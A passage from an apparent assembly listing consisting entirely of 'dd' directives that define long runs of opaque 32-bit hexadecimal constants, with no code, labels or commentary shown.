1F572E8Ch, 0D3430008h, 0CE481084h dd 0B4717E4Ah, 803947AAh, 0D7A5ED0Ch, 0CC2FDF91h, 2CECA154h dd 24D88BDAh, 0F4B90117h, 0DE362FD1h, 0C8508C1Ch, 0FE2929h dd 0ECA14AE2h, 0F8F96C76h, 2FFC2C1Bh, 73CBAAA1h, 955F5874h dd 0BE203CB8h, 0A696178Fh, 0DBB44173h, 2ADD5685h, 8B30DC08h dd 2CE453E7h, 0F4D1888Ah, 0F518B479h, 852CCA02h, 0F9495F36h dd 18F771C0h, 0F53A020Fh, 4B32AECFh, 953FBC7Ah, 762F809Fh dd 0A9A05322h, 0B09A5C82h, 162A4E08h, 0E7EDCF03h, 99E82CC1h dd 8BCA1348h, 0C81888B8h, 0E00B01FFh, 25539D52h, 0BCFC7DF4h dd 573034Fh, 0E762C587h dd 8BBCE900h, 228EB125h, 522AF2A5h, 18F2F4CCh, 7C5230h dd 2E2C67D6h, 38D3894Eh, 0BCA71AF0h, 160E344h, 84272A83h dd 5B8887EAh, 66BE5682h, 1D25466Ch, 2F4991FDh, 801045DFh dd 9691F612h, 2904F9EBh, 0D217D7DAh, 5E8B84A0h, 23882ECBh dd 0B59E0117h, 0D4FF0686h, 0F4A2A247h, 0E2084C47h, 0C8300032h dd 485B8057h, 0E626067Eh, 0A2978028h, 875488h, 1B6AB035h dd 0E3D3C0CBh, 15D58B01h, 0E5D220E9h, 0D0C2902Ch, 0ACF94CF7h dd 7418E679h, 0D08D2A12h, 2A2070A5h, 0D9A301ADh, 9CBEF4FDh dd 4C443C69h, 8CE3E8C0h, 0D2363905h, 50B443A9h, 0E3DD004Fh dd 57B9983Ah, 7D05F382h, 622FD71Dh, 0D9D8CCh, 3FDDC55Bh dd 424F0B1Ch, 0AA2C8098h, 0C744B446h, 3A45A4A4h, 2D787568h dd 0C8324EDCh, 8D11E817h, 0E591C780h, 0B11F8963h, 9D023F79h dd 5EBA500Fh, 4C2425E0h, 91F16021h, 0FF2F25CCh, 16806C65h dd 0F8AA910Ah, 1E5031CDh, 0BCD24971h, 80E6BE21h, 3F622EE8h dd 95600E4Bh, 8045A089h, 0A360C0C4h, 0C2053AD1h, 0EB62310Ah dd 0A3CB984Eh, 0D0802CB9h, 16C9D1EDh, 9066D43h, 0CE018424h dd 0D53E3027h, 88698Eh, 0A7C91DF4h, 60C70CF7h, 0B4DCB923h dd 94002404h, 211C8138h, 0D4088h, 16B89873h, 0C64D1D52h dd 96D9C510h, 0A8214C4Dh, 0E840C40Ah, 7E09081Dh, 20FC7283h dd 0F8C8BC9Bh, 91F2C322h, 0CEF755D7h, 0B190038h, 9CD12291h dd 0A2D60054h, 0FB5843EBh, 2DEC85CDh, 0A21D8C8h, 0CB93B2Fh dd 3410811Ah, 4CA02DF7h, 906725E8h, 900E84D0h, 4FD505E0h dd 80231756h, 0FB303950h, 17CACF25h, 463D24h, 521CEC9Bh dd 1830150Ah, 881AFE4Eh, 0D84053C7h, 269C1289h, 0BC48B0E4h dd 30414963h, 1FCBA9FCh, 42EC8985h, 56C502F5h, 0C4564A1Eh dd 0A2B4D003h, 0AAE7D141h, 2E69430h, 0A6695CDAh, 0B085C5D7h dd 2F60C095h, 0B4942E24h, 0F6DDFC01h, 2870DBFDh, 3046012Ch dd 20C6A5B3h, 51C4609Fh, 2DDD0C80h, 0BC01E796h, 20EB8756h dd 22F1DAF0h, 1C22CCh, 9323048Ch, 4784A849h, 0D4CC9401h dd 0C92FF667h, 162C4083h, 687CA538h, 0B3DF9618h, 0C9D21E19h dd 58DB4AD1h, 1D40858h, 159C1EBEh, 3B9D5B42h, 0BAA8BC08h dd 11F873A6h, 19FD80F6h, 0B146AB3Dh, 0E566C0C4h, 38009119h dd 0AB047222h, 80FBFE83h, 3050A963h, 0F7100AB4h, 0E0ECE9Bh dd 38666A1Dh, 912E10C7h, 7DC60E1h, 78670B94h, 0F492FBEDh dd 0FA7954D1h, 4D023918h, 0B25A22A4h, 4BCF9B3h, 80034CA8h dd 0ED8B2CBCh, 8FEED902h, 50724692h, 0A8C49438h, 0F2CC000Ch dd 440D6177h, 0B74ED356h, 612BF082h, 0DC4F60C0h, 0A5C0FB88h dd 7D08CC5h, 2B489DA6h, 3BAA81C3h, 0D522C082h, 97B25D25h dd 808D91E0h, 0B82B499Eh, 0DA910295h, 2DB08EFBh, 711DD861h dd 3B70004Ch, 1B12CBB3h, 0C002147Ah, 0DAFA54h, 4FF053A9h dd 2208154Dh, 6055F829h, 1FF4113h, 309E95F2h, 0B0465Eh dd 656E7721h, 0B43882Eh, 2F54E844h, 5D1DA044h, 680049BEh dd 36C0F672h, 0B7B93FC3h, 4105FB80h, 212F6562h, 94000BEh dd 5F7D337h, 8BA6EA57h, 0E298E0C8h, 113C9795h, 4D4380B1h dd 6D815CDh, 0CFF17606h, 260021C3h, 0D30705BCh, 904BD7BDh dd 3EFB2804h, 6BCA5F90h, 413C34h, 0A7C00C4Fh, 14C6922Ch dd 0D4DAAA2Dh, 8261D887h, 7C5AE1DCh, 0FC28A64Fh, 0E97E01BFh dd 41452169h, 3324757Fh, 30BFA2ACh, 27013513h, 295E28A2h dd 72FA7DE5h, 86740058h, 9C1C7071h, 441E76D4h, 91806F51h dd 254CE04Bh, 0C8484A57h, 6A004DB4h, 0A836D7E5h, 0FD82EEh dd 0EA3CC596h, 0C3804AD1h, 431340Dh, 0D80E315Dh, 0F9C0BF88h dd 33D5E3h, 8B81AE3Bh, 7D2F1EF6h, 1428412h, 6864A809h dd 1D8B8B8h, 0F860687Fh, 602FF175h, 51C9A696h, 795CF15Ch dd 1D5218F9h, 0CFFC073Eh, 5EDD6BE3h, 805FD669h, 26180EDCh dd 2CCC2259h, 0FC1E3C3Ah, 3000A6DEh, 0FF6E2B9Dh, 79C88121h dd 8D6300B4h, 3FD878E3h, 45252F31h, 0FAABA001h, 0BDA0685Bh dd 368230E6h, 779BA00h, 0F70854BBh, 0BC4A48C3h, 37329480h dd 14F8F619h, 6828151Ch, 2F5BB480h, 27348C84h, 68109540h dd 473957EAh, 9F910222h, 0A9C93120h, 9534C5A4h, 0F2020861h dd 0B8D6B338h, 0AE2DDC60h, 8BE58CB0h, 16DBAA59h, 8BE705B4h dd 0C0B97F69h, 0D2B06D25h, 0F61A207Ch, 9D38C013h, 80BE1178h dd 35F7836h, 0BAD20024h, 4E9BAAF2h, 809A21F1h, 0B953AC20h dd 188C79B4h, 6BFE00B7h, 0E5DFABFh, 307884E7h, 0ACCBE14Bh dd 8FC0B088h, 475ED6h, 0E878D4A3h, 0AE835A39h, 94CA458h dd 5A5B4C49h, 1F4620A0h, 310B3AEEh, 19D3251h, 7356EC1Ch dd 7E429A4h, 25963F4Fh, 1040B8E4h, 6714157Ah, 1898ACA6h dd 5B8691B6h, 88589DC4h, 19C8FB18h, 4843095h, 468070E0h dd 8DAC4055h, 0A02C3C59h, 691263AAh, 4885D8B0h, 10C84562h dd 0CBE30957h, 0FA11801Dh, 0D989409Dh, 705EC0E2h, 62A8109Dh dd 0FAC70012h, 577D3A08h, 7826792Bh, 6C017990h, 266DF8E8h dd 49F87EDEh, 0A464C865h, 42DCD860h, 0B2C29E18h, 5D96B3D8h dd 2ABD70C7h, 9B4AC421h, 2869E6F8h, 95C1F7E7h, 1049D4A7h dd 8A0D8046h, 0A62CCE0Eh, 3FCFC0D5h, 7F075948h, 0A0C7F896h dd 284376Ch, 0FA1BEE66h, 0A8D267CDh, 0DA7FAB02h, 4247A095h dd 1951601Ch, 0BF752D99h, 0FDEA58C8h, 3E04180h, 862583Ah dd 3698F3CBh, 0F4014EFAh, 1FC9434Fh, 203E664Ch, 0AFCC3578h dd 1DD553Fh, 9964DFB8h, 0F8E446C8h, 0A9C71EB2h, 0A3FC01DBh dd 25B63A83h, 962CEC08h, 0C7C9A402h, 7C880E69h, 61580B10h dd 94985C72h, 5441A545h, 0C7012896h, 61D98074h, 1C00411h dd 98831265h, 5874A44Ah, 0E3C54200h, 97271FA1h, 0B72E0ED5h dd 2AC08766h, 0B04D6734h, 47CF9B18h, 0A348DA30h, 0D460A8DDh dd 0E1FF0004h, 93093E9Dh, 49007D20h, 98ACB5EDh, 0B09E3Fh dd 0E8EC31CEh, 0B7F16C69h, 4CE29D06h, 12847A4h, 0F42EBAF8h dd 0E88C1FFDh, 281D9845h, 20307EC5h, 336CF0Bh, 4983FCB0h dd 408F74D4h, 0F12C0FC9h, 7C009B78h, 440D414Dh, 74DFB1EEh dd 8B96027h, 0E3434A91h, 0A8412C03h, 9042F12Bh, 0EC3946h dd 0C9AAC6DCh, 8694775h, 0D7501000h, 2EF00ECAh, 0F714308Ah dd 1732E811h, 5A502B00h, 0E9CEF8C9h, 8BFD304Bh, 3781A890h dd 5A48F01h, 84CB5E6h, 0E08938D4h, 36420C93h, 48C8EAF0h dd 51670707h, 0CA70A5B3h, 3A17666Ah, 180369B4h, 9526098Bh dd 72002876h, 2A54C035h, 0F4DB4944h, 0B286001Bh, 0D5CF51C8h dd 0A0A8FB2Dh, 3E043F5Ah, 0FCE0D76Ch, 0DFD84BC0h, 8199017Bh dd 0C5C698D1h, 0C04270B3h, 8A8FDA03h, 8831D2F0h, 0F0FF5A79h dd 261501F8h, 2E6D94E5h, 368C4790h, 790A2A93h, 0E7F8CDEDh dd 4CEFA700h, 1FE04714h, 80968FCCh, 413EFB67h, 440CF670h dd 200EFDC9h, 48EA4Ch, 0B0C4514Dh, 2EA7C66Dh, 4B5D9D12h dd 0BB4E0Bh, 0F5A63F0h, 0EA6430B0h, 0B38FD639h, 0F7EE1A0Dh dd 0C9F06869h, 0B1CA07F0h, 0EB420FE7h, 9900CF50h, 744A614Fh dd 3C71CBC6h, 4C87AE18h, 13BF8Dh, 242329B3h, 0CCAAA807h dd 77727E1h, 0DE46404Eh, 3F3F23Fh, 18334090h, 9CC82A58h dd 440E5694h, 4034D8B7h, 0A20CB99Dh, 0FB7499h, 0F4CB5CB2h dd 0F6B10AAAh, 0F14AAC01h, 0B372B4E4h, 118C6F3h, 0F9506C36h dd 5B827A5Ch, 0D1670820h dd 0F7BE03E5h, 37A365A7h, 31FEC0DFh, 7107D783h, 0CF42DEF3h dd 9AD77C0h, 0B672008Eh, 5EA39FFh, 0A721253Dh, 4981CC65h dd 84944220h, 30B60714h, 70E90E0h, 2711C0BDh, 0E7E49C74h dd 0B1136713h, 77DB5400h, 0A43E34Eh, 669876B7h, 0A508B234h dd 0D36380A1h, 0A0D01AFBh, 91072CF8h, 4056D4B4h, 2F037B50h dd 30772A27h, 44AF9E8h, 43F71F7Eh, 0CFCE0045h, 9E2CE11Dh dd 55FD011Fh, 0B3A0DF81h, 0BFD8B7BCh, 0DD6B0668h, 2903D569h dd 840508EBh, 8C11D342h, 4E92119h, 8BF08C9h, 17EF4267h dd 0C286F02Eh, 7B4251AAh, 2114D211h, 0ABDA0CF1h, 22848F29h dd 85441A6Ch, 367000A3h, 95829B64h, 0A10F6586h, 4E2939h dd 0AE6B8C3Fh, 36323E42h, 0B7180F73h, 0BAC3545Ah, 5890EFADh dd 0D3034E81h, 0EA98A0B8h, 68F6E819h, 590600DAh, 8757ACDDh dd 5A005EF4h, 56462505h, 7561F2h, 95735B34h, 418D9B07h dd 1EAB7909h, 0B6C88033h, 0AAB383h, 8BBC60F3h, 73E0EC2h dd 49DE7730h, 0EF31C6h, 35D06E5Dh, 0B510DD93h, 0F87A23Eh dd 40553B32h, 764DB32Fh, 99980046h, 4A4C36CDh, 82FA1E8Ch dd 0DB21620Eh, 0ACB240E3h, 6FF231h, 0C1F14C5Dh, 9DEC3812h dd 0C8E1A700h, 0B179CCD0h, 0F8AC00C3h, 11FA63C0h, 0D100EC57h dd 772E1B3Bh, 7191705Ah, 45190196h, 28BAA9Fh, 28688061h dd 75FD6A35h, 6DDB002Ah, 8057B4EDh, 4B0F76CAh, 602F26F1h dd 68C9BA45h, 223A00ACh, 28CB43D1h, 0D0C74782h, 30807562h dd 534F7Dh, 8D794C7Fh, 0B7213380h, 3CD1E505h, 0A4C11471h dd 64200A96h, 1847BD6h, 8164F7F9h, 400BB11Bh, 0F2E56DC8h dd 13E6A30Bh, 0E245037Bh, 3738E896h, 1B6F038Ah, 0DFC866B0h dd 27D62109h, 10C18163h, 0D207006h, 96F103E9h, 0CC30E30Bh dd 0C117F7C0h, 7569B600h, 7DB89578h, 8040FD4Eh, 109222Fh dd 0E44B18E1h, 24D8B997h, 48012BB4h, 0F182998Ch, 0C247B39h dd 0E1121F26h, 400064C7h, 555AEBF2h, 64CD1F1Dh, 0A2548Fh dd 0FF5D3B95h, 6950003Ch, 8CED4C3h, 0E09051F1h, 0E21C202h dd 6005D014h, 0FA1B3C86h, 0A717002Dh, 61FF2F3Dh, 8B007389h dd 27602EDDh, 0FDE1A803h, 1CDE0EBh, 7E130084h, 735DF68h dd 31C0D827h, 2918C6B5h, 0A6F50141h, 38D27BA8h, 27D9DC7Fh dd 250AD003h, 0A8180BC9h, 0E46E9244h, 0C1713Ch, 7C9E4AAEh dd 5E09CE03h, 0D00B0800h, 0D151B52Fh, 2C3500DEh, 3A76106Dh dd 0C53F975Dh, 0F78107FAh, 7C00D80Bh, 8853AEh, 1DCC4AFBh dd 4C762023h, 0A5659307h, 0FC70A449h, 9EC12Ah, 1B87B4E3h dd 9CF54628h, 8023AA3Eh, 364912A2h, 9A3E66h, 97987A0Ch dd 0BC6E4E42h, 78BE4Ch, 3748EE58h, 3922533h, 4FFE5285h dd 90C0343Ah, 0C1792B1Fh, 1EDC6100h, 0F949A76Ah, 4EB4007Eh dd 529A6D1Dh, 0E3007182h, 5D3C23F6h, 41D1C5h, 0C796AFDh dd 868921A9h, 9AA5CB0Fh, 20728974h, 7A60D334h, 56291E4Ch dd 70EA465h, 31371B83h, 20D682C0h, 0DF0060F4h, 64C63ECBh dd 1CBB7EA8h, 4063CDD8h, 62A38428h, 4F005305h, 0E5085DFBh dd 92A2E397h, 0F0450A38h, 2C8C743Ch, 68D40069h, 13FFCEA7h dd 804CB43Bh, 0D0642AC4h, 59BE5A5h, 0CE3A8F80h, 80D4C42Bh dd 8458693Ch, 0E01FFE75h, 9005526Ch, 0ACC44085h, 283CFC00h dd 6F8AEDCh, 0BF4B68B7h, 4906385Dh, 0C67064B8h, 957060h dd 6CAC14FAh, 0DA769D94h, 70E55600h, 3B686B46h, 0E4BE0B7Eh dd 0C0074D0h, 0E0298A3Ah, 73EDA503h, 0B5B20Fh, 0A6EA8F48h dd 21575CADh, 974C7098h, 0F98500C4h, 7723CEDAh, 7071009Ah dd 8DF10692h, 0D80076D2h, 4B6DB63Ch, 0E41829h, 72B3DD63h dd 0A6689048h, 0DC08D403h, 0D0A45667h, 0EDB291h, 88158D59h dd 0D4F08904h, 62B38602h, 0C0D6CA1Fh, 0CC6698h, 9E5F18E4h dd 0BD79FA4Ah, 421C4D1Eh, 0F802C05h, 0DAE60C81h, 6AD499F3h dd 0AE1AF0h, 0D81D7108h, 4317C56Dh, 7CA40B0Fh, 1FBE403Eh dd 3012DA6Bh, 96E4F14Eh, 0A100BBC4h, 0E7176535h, 0C2EADFCFh dd 0D20EFED8h, 6CE273E0h, 53261C00h, 0F78E2723h, 0F350137h dd 0D6C186D9h, 7A9C40EAh, 41494084h, 8DFE003Ch, 3DB993Eh dd 0D6F900D0h, 519D5BECh, 0C33A4BB9h, 4E73000Fh, 0BA884707h dd 504304CFh, 0C0A7A0C2h, 6D318D78h, 6BDF4104h, 0ECCC843Fh dd 58E272DCh, 0E40030B1h, 27ECD238h, 551EE352h, 0FB438F65h dd 0E0C578C0h, 185B5F9h, 0D45BB79Ch, 0E030CEE3h, 2907FA87h dd 5347AB74h, 0B9F90720h, 4A7F002Bh, 0C96C7303h, 4C003DEBh dd 7E879BE3h, 0EAFAE43Ah, 56D30016h, 0BD810428h, 5A0058AFh dd 7767B74Ah, 0DEEB7Dh, 258507F2h, 178B6D66h, 1193E40Ah dd 6E16E8D5h, 0A7302500h, 7122176h, 354595A1h, 582B804Ah dd 6C00529Fh, 0FD75023Eh, 2664BFCh, 59B61730h, 10E88055h dd 8C0253A8h, 0C63586DBh, 990CE3FAh, 6D00D156h, 0A202C2F7h dd 0DB291AA8h, 37F0402Ch, 61A600B4h, 157A0DC3h, 800AD5CDh dd 0A4CBDCFBh, 88F4D143h, 0FEB540h, 7A295E88h, 9583FF43h dd 5FB4EE00h, 18EA4D7Bh, 8FFC05C0h, 906DAE98h, 0B60A4B30h dd 0DB08800h, 8091EEDBh, 56F200EDh, 0C1F41A7Fh, 940F6541h dd 40CCDC40h, 32E0FF30h, 9B2F0070h, 7AC81CD7h, 770BD05Ah dd 342BFE7h, 0E0BECAE7h, 0C14EDDh, 0EE96062Ch, 8DB683A7h dd 0DF1CAC01h, 4B2DC264h, 0FD3C9CCh, 0AE545966h, 0CFE1A28Fh dd 602E040Dh, 0C407995Ch, 77D3CBFFh, 0D7B312F0h, 70324980h dd 0D6CD1700h, 713A3349h, 0DDE09D01h, 2644038Ah, 0AC7AF4h dd 0BB5C9204h, 331F7225h, 6E246300h, 0A2098966h, 147A09E6h dd 3C02F9A8h, 8840EB04h, 0B81D90E4h, 39004C6Dh, 695E1F5Ah dd 0FCA50060h, 8F12158Eh, 5F2E094Ah, 0BC8C70h, 807EDACEh dd 0E2C3BEh, 4FB1BAB7h, 0EA42ACBCh, 0A93B6778h, 83913C48h dd 34FF35E8h, 3C12F86Ah, 0BCF20144h, 60C9961h, 40CBC547h dd 1B9341DCh, 0A50134F4h, 9554649Eh, 8C402888h, 52564Dh dd 32025747h, 54FD37A7h, 32786F8h, 17B7630h, 0E2EE695Dh dd 8E31D4C1h, 1AA05702h, 0E0080E51h, 0F77306Fh, 0B5425619h dd 8C7494DEh, 4321253Bh, 332D7B00h, 0D2756Ah, 0E7F8B34Eh dd 9B01AE23h, 949D0602h, 0E0B96F83h, 1610CDBh, 8E3B379Ch dd 82D157F9h, 0B15BAF62h, 4EC86820h, 0F08D3E28h, 31826600h dd 89A0B31Ah, 7D2A39C0h, 0C08329C4h, 0AE720711h, 2E002516h dd 601FB0F8h, 3B85265h, 5C295DFCh, 0A3B6953h, 0A4191E32h dd 4782FF00h, 0B887DF8Ah, 5ACB00E0h, 0F6C3B21Eh, 0AE007608h dd 0AB7C9138h, 50105395h, 79D5A82Ch, 9F1D00CFh, 0BF3D4BD4h dd 183CAC7Bh, 3048CEh, 1FB579E9h, 0D97536h, 8FD099E4h dd 0A6DEE287h, 7DC0DA00h, 0DFE1FF08h, 0F7F155Bh, 0AD3CA877h dd 0B0CAACh, 544D934Bh, 0AC780DC8h, 0A2B1C200h, 1E8E6337h dd 0F346143Ah, 0DD01FB8Fh, 83530833h, 0A40C305Bh, 87A622Eh dd 0A203350Eh, 60D89738h, 0CDFA00h, 0C54C7E20h, 8BCFF5D4h dd 0BB0F1000h, 97EA1703h, 644B5CA3h, 8005561Ch, 3F833078h dd 0D25A825h, 3208086h, 49DACBh, 0A6BF939Bh, 7FE83E23h dd 9CEB58h, 0CB3FE1E3h, 3EC3801h, 0B2460C1Fh, 0D8D0DE67h dd 0C7033B32h, 37FEAB91h, 4A327D4Dh, 643C001Dh, 61EE7F9Ch dd 40F0AE1Fh, 0EFDD3240h, 58CE8792h, 2C77D8C9h, 0B938BF2Ch dd 5820DF1Dh, 0DA0411BCh dd 133F24Ch, 0AF8783D2h, 0C0ECFAC9h, 7A06030Eh, 1196B48Bh dd 8FDAF298h, 0A04A1B00h, 0ED8C9447h, 84FF0038h, 8A46DB26h dd 0BB00B663h, 0D14F6265h, 40EEDEh, 589A2E8Fh, 35AA5DE2h dd 0C6B4E300h, 0B70169D8h, 0CC3C2CFCh, 4C3F001Ch, 0EBCF7585h dd 0BD00AAE4h, 6D718D9Ah, 755F333Ah, 8AF10747h, 0E18F9798h dd 700BDC19h, 0CF3DF8B4h, 44118353h, 0D0F7A50Ch, 0F0169A76h dd 0C9BF007Ah, 3EC11DA1h, 700CA7Eh, 0D419D9AAh, 7CBBEEDh dd 10E2B0FAh, 0A6422003h, 71006BBDh, 0D96AFD73h, 7220937h dd 45698689h, 87806BFCh, 0F9ACEC99h, 1828834Ah, 53DB008Eh dd 0F5243906h, 7203E492h, 0E2AB49BFh, 5D62995Fh, 0BB3FD40h dd 97E500E9h, 6B75129Bh, 70C32B8h, 0D80615D6h, 29E4A9D0h dd 3EE882DDh, 4E550060h, 0A8F6F52h, 8B050F7Ch, 0C1BFD65Dh dd 1BE590C0h, 389026h, 8FBC071Dh, 66DC283Bh, 5D2AD600h dd 6547C172h, 3D2B004Fh, 0A8835097h, 0A493570h, 5AB60044h dd 9FFA378Eh, 0F72600D9h, 5E4AB4E8h, 1D3AE9E5h, 0DEB88760h dd 2C1E0F6h, 4605A8Ch, 398EC92h, 26F856C6h, 2005F73Ch dd 67F96E1Ch, 97E0E487h, 306545BBh, 54E00F18h, 0A313B482h dd 0EC80A9EDh, 96A2D1h, 8B66A802h, 9D65D5E0h, 71D28A00h dd 5A25F5BBh, 81E498h, 0F11DEE29h, 0CFE3C75Dh, 1289F30Ah dd 6D84DC0Ch, 0FCA29DB8h, 167E9013h, 0ADC04018h, 74F7705Eh dd 9D298700h, 254D4FAFh, 9A803A2Ah, 0A38038BFh, 6D19337Dh dd 0DEFA7723h, 56004871h, 441AF9B5h, 2084B7Eh, 2126C275h dd 0C5E0B497h, 8B001E94h, 12C432C9h, 1E4DF7FEh, 0FEBF74A5h dd 0E8DD4780h, 0CACD0AF0h, 0E9820E0Fh, 51BCA073h, 0F041A746h dd 0B9F300BDh, 775E8586h, 0E5004822h, 4B665494h, 0B0C04A57h dd 63271CA0h, 0F4740435h, 0DFD000D1h, 1EF3F6h, 44CDC588h dd 0EF1146A3h, 42EEA21Eh, 5A124545h, 1424E600h, 5EB96ABh dd 5C167BFh, 0FD081F3h, 374C802h, 0DC6CD900h, 0C3781225h dd 0A6AD01CDh, 24833293h, 6B5BECB8h, 0F909FA00h, 0D16FB297h dd 0EEDA001Dh, 0C1929EBCh, 7007A4Dh, 76F114EFh, 7AB498E7h dd 2912000Fh, 1A1F1EEBh, 950267C3h, 57AFBFB7h, 9AA060BDh dd 0DCE01D87h, 83F8E6A8h, 0A9B6BFF5h, 0ECA7CAF9h, 0C3009639h dd 9C06D531h, 58B0CEBAh, 721860h, 2795436Eh, 5CEBA233h dd 0AAC0D307h, 0A21F624h, 0A8233FDCh, 0C58D7300h, 0E5E89BF1h dd 762D625h, 0B3240800h, 0F2A6E480h, 987701D9h, 1613EFDEh dd 29D4D8A2h, 0ACC3ED03h, 80B43E5Ah, 5E0ABD9h, 1522A9D6h dd 29068054h, 0DD03BEB0h, 0B750886Ah, 1CD3D8F4h, 6C93070Ah dd 0CA838B78h, 2B4803D5h, 49E0BA3Fh, 1500C8FDh, 1A4656EFh dd 974DAEh, 8D1373A9h, 0CAA063CCh, 0C053DC00h, 2B744B28h dd 0FC6A0010h, 67C20FD6h, 250055B3h, 71859F18h, 1DF0F3DAh dd 0C074582Ch, 5A6C0690h, 7D07F6B1h, 0B9291D27h, 0E06B4711h dd 3C3834h, 77FB8C3Bh, 9519F661h, 6EF38A00h, 43942148h dd 0E28D078Fh, 0B0EAB055h, 0B22D5DA3h, 0D802834Ah, 68F64696h dd 92017E0h, 8D5C951h, 0A060C80Fh, 0E30E21C5h, 0FB4CAE01h dd 0CEB8833Eh, 7A3C60DAh, 6F550084h, 1A771F1Bh, 35733A13h dd 908CB403h, 0D8B0568Eh, 7E13295h, 83AE81CAh, 3023B7C8h dd 7FACF1DBh, 2942FD01h, 4EC4AF8Fh, 5526C4h, 0BD4CC06Eh dd 2595A35Ch, 1CB5D24Ch, 0C4019B7h, 72939F0Fh, 26F40408h dd 0C0339A28h, 663F9C18h, 15FF4800h, 730BD62Ah, 0AC5C008Ah dd 75EE3813h, 6D03FB8Fh, 493E1481h, 12F7F8FEh, 0E03007C3h dd 30F92A36h, 6D2EBCB6h, 8083283Dh, 43F5988Dh, 17165FAh dd 22B5CA39h, 301DFD0Ah, 91FEEDCBh, 7CF04426h, 4164D40Eh dd 0FB398228h, 608020h, 7B5ADFC3h, 0C113583Dh, 10BEF300h dd 0D1980C8Ah, 7F3B0591h, 0D0E8A829h, 0F3B0AD0Ch, 0A3775F0Fh dd 0BA3313h, 0BCA666EEh, 0C1017D11h, 0E09FDC2h, 51E021DCh dd 3AF770EEh, 2880F17Ah, 0D6D31758h, 0A305F679h, 70AAB756h dd 0F785B8C0h, 7195887Bh, 0D8009E7Ah, 0B218E60Fh, 583D9BDEh dd 63032A8Ah, 84F82408h, 0EFD75A8h, 270022FEh, 9FB8459Ch dd 0F86BBE2Dh, 0F06E0074h, 0EE2E8D75h, 0F100C496h, 76BF9D80h dd 0FAE4008h, 294A3DD2h, 0D3E0811Eh, 0E046E638h, 4303D0C1h dd 0B4EE4F58h, 0F14A0287h, 0A741DE8Bh, 0D7148B40h, 44D0DCE1h dd 6117102Dh, 0A2402008h, 7E89C76Bh, 12D900E2h, 19CE34AEh dd 0BA0027EEh, 2F7D6792h, 3989F5h, 0E2FAB87Ah, 608C2FFh dd 0AEED7500h, 0F5041568h, 9C5148E3h, 6CDA6500h, 1F9D41C1h dd 1AC65603h, 0B04FD9E6h, 0EB75BF2h, 0CDA7922Ch, 3D2125E0h dd 13074EE3h, 81B6967h, 0B41728A0h, 0A06F07CCh, 0BE2458h dd 0EFA8A264h, 25005D7Dh, 0B6DFA9F6h, 0F1B89C9h, 6991CC4Dh dd 0F0447EA5h, 3AFA7628h, 5601C501h, 11822D7Dh, 0DD64F940h dd 8A9B02C6h, 0A172C4FDh, 6D98AC80h, 7B0001F8h, 9D20DDA8h dd 9D6DB9Ch, 0C7E00D7Fh, 79322440h, 0EE010E7Bh, 0DF789EAFh dd 708B505Bh, 270E3D67h, 7C86F081h, 17687CD2h, 0D05EE86Fh dd 0B2BBC000h, 0E8A33E7Bh, 185DE881h, 210A136Fh, 0D21F558Ch dd 7A87BBAFh, 0A340B3C8h, 27D816h, 34F02CE1h, 0E58FCF0Dh dd 0C49D7B00h, 0CBD2B24Bh, 740C0A3h, 3B197F96h, 9DCDEC00h dd 53B2FAD6h, 1E91EAEEh, 80D2862Fh, 0A4B616C7h, 8210DA50h dd 35C0D079h, 34FA32D2h, 0CA50F37Ch, 132AC70Ch, 0AF00AC2Dh dd 0E87A82E3h, 0DA0D6Fh, 0A6C6E756h, 23173106h, 7002ED05h dd 28C0259Ah, 41424Bh, 665613BCh, 8822A865h, 6D786000h dd 93FB3BE3h, 214C00B2h, 38B7EF6Bh, 0DF00F680h, 0C0EA69Fh dd 0EC6C56h, 1198157Ah, 0EA99AB6Eh, 9E3E66E4h, 0B6388022h dd 26A52A83h, 0E5E020h, 0B50843CCh, 0B8E2CFB4h, 32B66500h dd 54E925EEh, 9B524A96h, 0FE044240h, 98AC6BE0h, 3F42F48h dd 4023CBDCh, 0E1678BB7h, 188411D8h, 4FDF33DEh, 826A8314h dd 8DFBE0EEh, 58A7906Fh, 17A20CDh, 0B8FF4FD7h, 0FC5B6903h dd 0AF00B2ABh, 0C4C2D029h, 7EA145Ah, 43A04146h, 0D455E06Ch dd 0D8313ACBh, 1B9418E7h, 0F8560AE4h, 4863B0C5h, 0E531E453h dd 83BD4A90h, 6D56FC78h, 79C90651h, 0D1E254E6h, 0EC7BBA07h dd 0B300A9F7h, 7EAE26D5h, 5C7C91h, 0EFEAD0B2h, 1DD660Ch dd 0D4C6BB18h, 30BDD139h, 3E60B86Eh, 0A001C138h, 0DC69B7BCh dd 188991DEh, 5890E29Eh, 0B46E9C3Bh, 28C483C0h, 673105CDh dd 388C2Fh, 0CC74D208h, 48FF6BE7h, 5572A4B4h, 0A1076900h dd 923150C4h, 0DFE8C04Dh, 3D0BEF51h, 1A579C00h, 0A1138F5Bh dd 1179C0BEh, 52E2C3E8h, 0D4F0500h, 58EB533Bh, 47D70CB2h dd 0B129BBC4h, 902F662Ah, 0C852CB00h, 3E4147CCh, 0C0E4E053h dd 0D6F8EBB8h, 953A8EBAh, 1B18019h, 0B20D4A05h, 75200071h dd 4DE5BF3h, 300B7DAh, 419E7939h, 0EC937628h, 0E695E0F4h dd 24AF85Eh, 0A203DFDh, 444D5134h, 0FB13C040h, 0A5AC0A83h dd 30CB7F7h, 57BF829Eh, 80C0D4C3h, 39C0A19Fh, 0F41278A6h dd 33A21634h, 894190Bh, 0FC21804Eh, 0DD51ECA0h, 0ADDF0770h dd 4C481B3Ch, 0B81956F8h, 4658CE22h, 718349C9h, 6F386BEh dd 0C87C0AD0h, 3FD67B1Fh, 0C90A6868h, 0A4C7FC5Ah, 901BBC02h dd 105441D6h, 12EFA460h, 20BF72B5h, 0B7373320h, 16241180h dd 214FA147h, 0EC84A7C8h dd 8B583E7Ah, 0FB861994h, 6468BB08h, 118C4C00h, 7B30C432h dd 0C7482267h, 7F9E4AD3h, 6B601060h, 7D307B5Ch, 7DCE0BEh dd 0B2B18356h, 964C21A9h, 0F44101BAh, 435432C5h, 21C040C6h dd 22EF297Ah, 0AE4C811Ch, 74174F9Ch, 3FE23B24h, 0D44D5A01h dd 0A68A7B57h, 58885C20h, 368268F6h, 998062E9h, 0D1D2831Bh dd 30814B3Ah, 0F16C215Dh, 0F2190762h, 0A2D73A21h, 8C8065C8h dd 32153C20h, 0C45DB524h, 479A2341h, 24A1F5C0h, 441430B8h dd 0E408C177h, 69D7004Eh, 30C10A1Eh, 8421EBh, 968FCA6Eh dd 0B854E97Eh, 900079A4h, 101275EFh, 53F6FEh, 703A392h dd 615A29Fh, 0D0965107h, 77003AF5h, 49DED537h, 7C80349Ch dd 8234E812h, 0B3108E43h, 0A4F802D9h, 608661ECh, 